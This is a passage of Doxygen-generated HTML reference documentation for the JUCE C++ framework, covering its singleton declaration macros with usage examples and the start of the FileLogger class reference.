href="#a354e37d287b39d02097f4f74be14af51"></a><br/></td></tr> <tr class="separator:a354e37d287b39d02097f4f74be14af51"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4404ed444ce628bab43d7fb68f7f1884"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="juce__Singleton_8h.html#a4404ed444ce628bab43d7fb68f7f1884">juce_ImplementSingleton_SingleThreaded</a>(classname)</td></tr> <tr class="memdesc:a4404ed444ce628bab43d7fb68f7f1884"><td class="mdescLeft">&#160;</td><td class="mdescRight">This is a counterpart to the juce_DeclareSingleton_SingleThreaded macro. <a href="#a4404ed444ce628bab43d7fb68f7f1884"></a><br/></td></tr> <tr class="separator:a4404ed444ce628bab43d7fb68f7f1884"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <h2 class="groupheader">Macro Definition Documentation</h2> <a class="anchor" id="ac46b66c5d38d6bd3a937af241d152a44"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define juce_DeclareSingleton</td> <td>(</td> <td class="paramtype">&#160;</td> <td class="paramname">classname, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">&#160;</td> <td class="paramname">doNotRecreateAfterDeletion&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Macro to declare member variables and methods for a singleton class. </p> <p>To use this, add the line juce_DeclareSingleton (MyClass, doNotRecreateAfterDeletion) to the class's definition.</p> <p>Then put a macro juce_ImplementSingleton (MyClass) along with the class's implementation code.</p> <p>It's also a very good idea to also add the call clearSingletonInstance() in your class's destructor, in case it is deleted by other means than deleteInstance()</p> <p>Clients can then call the static method MyClass::getInstance() to get a pointer to the singleton, or MyClass::getInstanceWithoutCreating() which will return nullptr if no instance currently exists.</p> <p>e.g. </p> <div class="fragment"><div class="line"><span class="keyword">class </span>MySingleton</div> <div class="line">{</div> <div class="line"><span class="keyword">public</span>:</div> <div class="line"> MySingleton()</div> <div class="line"> {</div> <div class="line"> }</div> <div class="line"></div> <div class="line"> ~MySingleton()</div> <div class="line"> {</div> <div class="line"> <span class="comment">// this ensures that no dangling pointers are left when the</span></div> <div class="line"> <span class="comment">// singleton is deleted.</span></div> <div class="line"> clearSingletonInstance();</div> <div class="line"> }</div> <div class="line"></div> <div class="line"> <a class="code" href="juce__Singleton_8h.html#ac46b66c5d38d6bd3a937af241d152a44" title="Macro to declare member variables and methods for a singleton class.">juce_DeclareSingleton</a> (MySingleton, <span class="keyword">false</span>)</div> <div class="line">};</div> <div class="line"></div> <div class="line"><a class="code" href="juce__Singleton_8h.html#a514301c5c269b87e3a3e3da3a6640f8f" title="This is a counterpart to the juce_DeclareSingleton macro.">juce_ImplementSingleton</a> (MySingleton)</div> <div class="line"></div> <div class="line"></div> <div class="line"><span class="comment">// example of usage:</span></div> <div class="line">MySingleton* m = MySingleton::getInstance(); <span class="comment">// creates the singleton if there isn&#39;t already one.</span></div> <div class="line"></div> <div class="line">...</div> <div class="line"></div> <div class="line">MySingleton::deleteInstance(); <span class="comment">// safely deletes the singleton (if it&#39;s been created).</span></div> </div><!-- fragment --><p>If doNotRecreateAfterDeletion = true, it won't allow the object to be created more than once during the process's lifetime - i.e. after you've created and deleted the object, getInstance() will refuse to create another one. This can be useful to stop objects being accidentally re-created during your app's shutdown code.</p> <p>If you know that your object will only be created and deleted by a single thread, you can use the slightly more efficient <a class="el" href="juce__Singleton_8h.html#a253f51f3a9ac2b4795e2ce08b2a756d9" title="Macro to declare member variables and methods for a singleton class.">juce_DeclareSingleton_SingleThreaded()</a> macro instead of this one.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="juce__Singleton_8h.html#a514301c5c269b87e3a3e3da3a6640f8f" title="This is a counterpart to the juce_DeclareSingleton macro.">juce_ImplementSingleton</a>, <a class="el" href="juce__Singleton_8h.html#a253f51f3a9ac2b4795e2ce08b2a756d9" title="Macro to declare member variables and methods for a singleton class.">juce_DeclareSingleton_SingleThreaded</a> </dd></dl> </div> </div> <a class="anchor" id="a514301c5c269b87e3a3e3da3a6640f8f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define juce_ImplementSingleton</td> <td>(</td> <td class="paramtype">&#160;</td> <td class="paramname">classname</td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <b>Value:</b><div class="fragment"><div class="line">\</div> <div class="line"> classname* classname::_singletonInstance = <span class="keyword">nullptr</span>; \</div> <div class="line"> juce::CriticalSection classname::_singletonLock;</div> </div><!-- fragment --> <p>This is a counterpart to the juce_DeclareSingleton macro. </p> <p>After adding the juce_DeclareSingleton to the class definition, this macro has to be used in the cpp file. </p> </div> </div> <a class="anchor" id="a253f51f3a9ac2b4795e2ce08b2a756d9"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define juce_DeclareSingleton_SingleThreaded</td> <td>(</td> <td class="paramtype">&#160;</td> <td class="paramname">classname, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">&#160;</td> <td class="paramname">doNotRecreateAfterDeletion&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Macro to declare member variables and methods for a singleton class. </p> <p>This is exactly the same as juce_DeclareSingleton, but doesn't use a critical section to make access to it thread-safe. If you know that your object will only ever be created or deleted by a single thread, then this is a more efficient version to use.</p> <p>If doNotRecreateAfterDeletion = true, it won't allow the object to be created more than once during the process's lifetime - i.e. after you've created and deleted the object, getInstance() will refuse to create another one. This can be useful to stop objects being accidentally re-created during your app's shutdown code.</p> <p>See the documentation for juce_DeclareSingleton for more information about how to use it, the only difference being that you have to use juce_ImplementSingleton_SingleThreaded instead of juce_ImplementSingleton.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="juce__Singleton_8h.html#a4404ed444ce628bab43d7fb68f7f1884" title="This is a counterpart to the juce_DeclareSingleton_SingleThreaded macro.">juce_ImplementSingleton_SingleThreaded</a>, <a class="el" href="juce__Singleton_8h.html#ac46b66c5d38d6bd3a937af241d152a44" title="Macro to declare member variables and methods for a singleton class.">juce_DeclareSingleton</a>, <a class="el" href="juce__Singleton_8h.html#a354e37d287b39d02097f4f74be14af51" title="Macro to declare member variables and methods for a singleton class.">juce_DeclareSingleton_SingleThreaded_Minimal</a> </dd></dl> </div> </div> <a class="anchor" id="a354e37d287b39d02097f4f74be14af51"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define juce_DeclareSingleton_SingleThreaded_Minimal</td> <td>(</td> <td class="paramtype">&#160;</td> <td class="paramname">classname</td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <b>Value:</b><div class="fragment"><div class="line">\</div> <div class="line"> static classname* _singletonInstance; \</div> <div class="line">\</div> <div class="line"> static classname* getInstance() \</div> <div class="line"> { \</div> <div class="line"> if (_singletonInstance == <span class="keyword">nullptr</span>) \</div> <div class="line"> _singletonInstance = <span class="keyword">new</span> classname(); \</div> <div class="line">\</div> <div class="line"> return _singletonInstance; \</div> <div class="line"> } \</div> <div class="line">\</div> <div class="line"> static <span class="keyword">inline</span> classname* getInstanceWithoutCreating() noexcept\</div> <div class="line"> { \</div> <div class="line"> return _singletonInstance; \</div> <div class="line"> } \</div> <div class="line">\</div> <div class="line"> static <span class="keywordtype">void</span> deleteInstance() \</div> <div class="line"> { \</div> <div class="line"> if (_singletonInstance != <span class="keyword">nullptr</span>) \</div> <div class="line"> { \</div> <div class="line"> classname* <span class="keyword">const</span> old = _singletonInstance; \</div> <div class="line"> _singletonInstance = <span class="keyword">nullptr</span>; \</div> <div class="line"> delete old; \</div> <div class="line"> } \</div> <div class="line"> } \</div> <div class="line">\</div> <div class="line"> void clearSingletonInstance() noexcept\</div> <div class="line"> { \</div> <div class="line"> if (_singletonInstance == <span class="keyword">this</span>) \</div> <div class="line"> _singletonInstance = <span class="keyword">nullptr</span>; \</div> <div class="line"> }</div> </div><!-- fragment --> <p>Macro to declare member variables and methods for a singleton class. </p> <p>This is like juce_DeclareSingleton_SingleThreaded, but doesn't do any checking for recursion or repeated instantiation. It's intended for use as a lightweight version of a singleton, where you're using it in very straightforward circumstances and don't need the extra checking.</p> <p>Juce use the normal juce_ImplementSingleton_SingleThreaded as the counterpart to this declaration, as you would with juce_DeclareSingleton_SingleThreaded.</p> <p>See the documentation for juce_DeclareSingleton for more information about how to use it, the only difference being that you have to use juce_ImplementSingleton_SingleThreaded instead of juce_ImplementSingleton.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="juce__Singleton_8h.html#a4404ed444ce628bab43d7fb68f7f1884" title="This is a counterpart to the juce_DeclareSingleton_SingleThreaded macro.">juce_ImplementSingleton_SingleThreaded</a>, <a class="el" href="juce__Singleton_8h.html#ac46b66c5d38d6bd3a937af241d152a44" title="Macro to declare member variables and methods for a singleton class.">juce_DeclareSingleton</a> </dd></dl> </div> </div> <a class="anchor" id="a4404ed444ce628bab43d7fb68f7f1884"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">#define juce_ImplementSingleton_SingleThreaded</td> <td>(</td> <td class="paramtype">&#160;</td> <td class="paramname">classname</td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <b>Value:</b><div class="fragment"><div class="line">\</div> <div class="line"> classname* classname::_singletonInstance = <span class="keyword">nullptr</span>;</div> </div><!-- fragment --> <p>This is a counterpart to the juce_DeclareSingleton_SingleThreaded macro. </p> <p>After adding juce_DeclareSingleton_SingleThreaded or juce_DeclareSingleton_SingleThreaded_Minimal to the class definition, this macro has to be used somewhere in the cpp file. </p> </div> </div> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: FileLogger Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pub-static-methods">Static Public Member Functions</a> &#124; <a href="classFileLogger-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">FileLogger Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>A simple implementation of a <a class="el" href="classLogger.html" title="Acts as an application-wide logging class.">Logger</a> that writes to a file. <a href="classFileLogger.html#details">More...</a></p> <p>Inherits <a class="el" href="classLogger.html">Logger</a>.</p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a708694692a4ab44a1436c8a55e6549f2"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#a708694692a4ab44a1436c8a55e6549f2">FileLogger</a> (const <a class="el" href="classFile.html">File</a> &amp;fileToWriteTo, const <a class="el" href="classString.html">String</a> &amp;welcomeMessage, const <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> maxInitialFileSizeBytes=128 *1024)</td></tr> <tr class="memdesc:a708694692a4ab44a1436c8a55e6549f2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a <a class="el" href="classFileLogger.html" title="A simple implementation of a Logger that writes to a file.">FileLogger</a> for a given file. <a href="#a708694692a4ab44a1436c8a55e6549f2"></a><br/></td></tr> <tr class="separator:a708694692a4ab44a1436c8a55e6549f2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab08af44f2de3fe1b51158132f9a399dd"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#ab08af44f2de3fe1b51158132f9a399dd">~FileLogger</a> ()</td></tr> <tr class="memdesc:ab08af44f2de3fe1b51158132f9a399dd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#ab08af44f2de3fe1b51158132f9a399dd"></a><br/></td></tr> <tr class="separator:ab08af44f2de3fe1b51158132f9a399dd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa2dae5bcd0746287b8c5076019ea741c"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classFile.html">File</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#aa2dae5bcd0746287b8c5076019ea741c">getLogFile</a> () const noexcept</td></tr> <tr class="memdesc:aa2dae5bcd0746287b8c5076019ea741c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the file that this logger is writing to. <a href="#aa2dae5bcd0746287b8c5076019ea741c"></a><br/></td></tr> <tr class="separator:aa2dae5bcd0746287b8c5076019ea741c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aaf1bc4062f89bc56c9926bb1af268bb4"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#aaf1bc4062f89bc56c9926bb1af268bb4">logMessage</a> (const <a class="el" href="classString.html">String</a> &amp;)</td></tr> <tr class="memdesc:aaf1bc4062f89bc56c9926bb1af268bb4"><td class="mdescLeft">&#160;</td><td class="mdescRight">This is overloaded by subclasses to implement custom logging behaviour. <a href="#aaf1bc4062f89bc56c9926bb1af268bb4"></a><br/></td></tr> <tr class="separator:aaf1bc4062f89bc56c9926bb1af268bb4"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pub_methods_classLogger"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classLogger')"><img src="closed.png" alt="-"/>&#160;Public Member Functions inherited from <a class="el" href="classLogger.html">Logger</a></td></tr> <tr class="memitem:ae93f62ca3e47716b7120acb032a260f3 inherit pub_methods_classLogger"><td class="memItemLeft" align="right" valign="top">virtual&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classLogger.html#ae93f62ca3e47716b7120acb032a260f3">~Logger</a> ()</td></tr> <tr class="memdesc:ae93f62ca3e47716b7120acb032a260f3 inherit pub_methods_classLogger"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#ae93f62ca3e47716b7120acb032a260f3"></a><br/></td></tr> <tr class="separator:ae93f62ca3e47716b7120acb032a260f3 inherit pub_methods_classLogger"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-methods"></a> Static Public Member Functions</h2></td></tr> <tr class="memitem:a6ddf300bd192744a4767fc88a78b2dd9"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classFileLogger.html">FileLogger</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#a6ddf300bd192744a4767fc88a78b2dd9">createDefaultAppLogger</a> (const <a class="el" href="classString.html">String</a> &amp;logFileSubDirectoryName, const <a class="el" href="classString.html">String</a> &amp;logFileName, const <a class="el" href="classString.html">String</a> &amp;welcomeMessage, const <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> maxInitialFileSizeBytes=128 *1024)</td></tr> <tr class="memdesc:a6ddf300bd192744a4767fc88a78b2dd9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Helper function to create a log file in the correct place for this platform. <a href="#a6ddf300bd192744a4767fc88a78b2dd9"></a><br/></td></tr> <tr class="separator:a6ddf300bd192744a4767fc88a78b2dd9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6278d0c047edb99196e6fa1c72bc91f5"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classFileLogger.html">FileLogger</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#a6278d0c047edb99196e6fa1c72bc91f5">createDateStampedLogger</a> (const <a class="el" href="classString.html">String</a> &amp;logFileSubDirectoryName, const <a class="el" href="classString.html">String</a> &amp;logFileNameRoot, const <a class="el" href="classString.html">String</a> &amp;logFileNameSuffix, const <a class="el" href="classString.html">String</a> &amp;welcomeMessage)</td></tr> <tr class="memdesc:a6278d0c047edb99196e6fa1c72bc91f5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Helper function to create a log file in the correct place for this platform. <a href="#a6278d0c047edb99196e6fa1c72bc91f5"></a><br/></td></tr> <tr class="separator:a6278d0c047edb99196e6fa1c72bc91f5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:addb33c331b16dca4b732558b44c1fab7"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classFile.html">File</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#addb33c331b16dca4b732558b44c1fab7">getSystemLogFileFolder</a> ()</td></tr> <tr class="memdesc:addb33c331b16dca4b732558b44c1fab7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns an OS-specific folder where log-files should be stored. <a href="#addb33c331b16dca4b732558b44c1fab7"></a><br/></td></tr> <tr class="separator:addb33c331b16dca4b732558b44c1fab7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0224c141681c9fd2ec850aed189b65f8"><td class="memItemLeft" align="right" valign="top">static void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classFileLogger.html#a0224c141681c9fd2ec850aed189b65f8">trimFileSize</a> (const <a class="el" href="classFile.html">File</a> &amp;file, <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> maxFileSize)</td></tr> <tr class="memdesc:a0224c141681c9fd2ec850aed189b65f8"><td class="mdescLeft">&#160;</td><td class="mdescRight">This is a utility function which removes lines from the start of a text file to make sure that its total size is below the given size. <a href="#a0224c141681c9fd2ec850aed189b65f8"></a><br/></td></tr> <tr class="separator:a0224c141681c9fd2ec850aed189b65f8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pub_static_methods_classLogger"><td colspan="2" onclick="javascript:toggleInherit('pub_static_methods_classLogger')"><img src="closed.png" alt="-"/>&#160;Static Public Member Functions inherited from <a class="el" href="classLogger.html">Logger</a></td></tr> <tr class="memitem:a5855a0341fc4f6ceb5418879fd685277 inherit pub_static_methods_classLogger"><td class="memItemLeft" align="right" valign="top">static void <a class="el" href="juce__PlatformDefs_8h.html#af0b3f78ca801d88a7912f4c6bbf50e58">JUCE_CALLTYPE</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classLogger.html#a5855a0341fc4f6ceb5418879fd685277">setCurrentLogger</a> (<a class="el" href="classLogger.html">Logger</a> *newLogger) noexcept</td></tr> <tr class="memdesc:a5855a0341fc4f6ceb5418879fd685277 inherit pub_static_methods_classLogger"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sets the current logging class to use. <a href="#a5855a0341fc4f6ceb5418879fd685277"></a><br/></td></tr> <tr class="separator:a5855a0341fc4f6ceb5418879fd685277 inherit pub_static_methods_classLogger"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4646bc85614d9cfe225f1f89bca50c74 inherit pub_static_methods_classLogger"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classLogger.html">Logger</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classLogger.html#a4646bc85614d9cfe225f1f89bca50c74">getCurrentLogger</a> () noexcept</td></tr> <tr class="memdesc:a4646bc85614d9cfe225f1f89bca50c74 inherit pub_static_methods_classLogger"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current logger, or nullptr if none has been set. <a href="#a4646bc85614d9cfe225f1f89bca50c74"></a><br/></td></tr> <tr class="separator:a4646bc85614d9cfe225f1f89bca50c74 inherit pub_static_methods_classLogger"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a037cd16034c0663805f301b0e95c0be6 inherit pub_static_methods_classLogger"><td class="memItemLeft" align="right" valign="top">static void <a class="el" href="juce__PlatformDefs_8h.html#af0b3f78ca801d88a7912f4c6bbf50e58">JUCE_CALLTYPE</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classLogger.html#a037cd16034c0663805f301b0e95c0be6">writeToLog</a> (const <a class="el" href="classString.html">String</a> &amp;message)</td></tr> <tr class="memdesc:a037cd16034c0663805f301b0e95c0be6 inherit pub_static_methods_classLogger"><td class="mdescLeft">&#160;</td><td class="mdescRight">Writes a string to the current logger. <a href="#a037cd16034c0663805f301b0e95c0be6"></a><br/></td></tr> <tr class="separator:a037cd16034c0663805f301b0e95c0be6 inherit pub_static_methods_classLogger"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a54273b4faf398b4da464d21bb6abac59 inherit pub_static_methods_classLogger"><td class="memItemLeft" align="right" valign="top">static void <a class="el" href="juce__PlatformDefs_8h.html#af0b3f78ca801d88a7912f4c6bbf50e58">JUCE_CALLTYPE</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classLogger.html#a54273b4faf398b4da464d21bb6abac59">outputDebugString</a> (const <a class="el" href="classString.html">String</a> &amp;text)</td></tr> <tr class="memdesc:a54273b4faf398b4da464d21bb6abac59 inherit pub_static_methods_classLogger"><td class="mdescLeft">&#160;</td><td class="mdescRight">Writes a message to the standard error stream. <a href="#a54273b4faf398b4da464d21bb6abac59"></a><br/></td></tr> <tr class="separator:a54273b4faf398b4da464d21bb6abac59 inherit pub_static_methods_classLogger"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="inherited"></a> Additional Inherited Members</h2></td></tr> <tr class="inherit_header pro_methods_classLogger"><td colspan="2" onclick="javascript:toggleInherit('pro_methods_classLogger')"><img src="closed.png" alt="-"/>&#160;Protected Member Functions inherited from <a class="el" href="classLogger.html">Logger</a></td></tr> <tr class="memitem:abc41bfb031d896170c7675fa96a6b30c inherit pro_methods_classLogger"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classLogger.html#abc41bfb031d896170c7675fa96a6b30c">Logger</a> ()</td></tr> <tr class="separator:abc41bfb031d896170c7675fa96a6b30c inherit pro_methods_classLogger"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>A simple implementation of a <a class="el" href="classLogger.html" title="Acts as an application-wide logging class.">Logger</a> that writes to a file. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classLogger.html" title="Acts as an application-wide logging class.">Logger</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a708694692a4ab44a1436c8a55e6549f2"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">FileLogger::FileLogger </td> <td>(</td> <td class="paramtype">const <a class="el" href="classFile.html">File</a> &amp;&#160;</td> <td class="paramname"><em>fileToWriteTo</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>welcomeMessage</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>maxInitialFileSizeBytes</em> = <code>128&#160;*1024</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Creates a <a class="el" href="classFileLogger.html" title="A simple implementation of a Logger that writes to a file.">FileLogger</a> for a given file. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">fileToWriteTo</td><td>the file that to use - new messages will be appended to the file. If the file doesn't exist, it will be created, along with any parent directories that are needed. </td></tr> <tr><td class="paramname">welcomeMessage</td><td>when opened, the logger will write a header to the log, along with the current date and time, and this welcome message </td></tr> <tr><td class="paramname">maxInitialFileSizeBytes</td><td>if this is zero or greater, then if the file already exists but is larger than this number of bytes, then the start of the file will be truncated to keep the size down. This prevents a log file getting ridiculously large over time. The file will be truncated at a new-line boundary. If this value is less than zero, no size limit will be imposed; if it's zero, the file will always be deleted. Note that the size is only checked once when this object is created - any logging that is done later will be appended without any checking </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ab08af44f2de3fe1b51158132f9a399dd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">FileLogger::~FileLogger </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="aa2dae5bcd0746287b8c5076019ea741c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classFile.html">File</a>&amp; FileLogger::getLogFile </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the file that this logger is writing to. </p> </div> </div> <a class="anchor" id="a6ddf300bd192744a4767fc88a78b2dd9"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classFileLogger.html">FileLogger</a>* FileLogger::createDefaultAppLogger </td> <td>(</td> <td class="paramtype">const <a 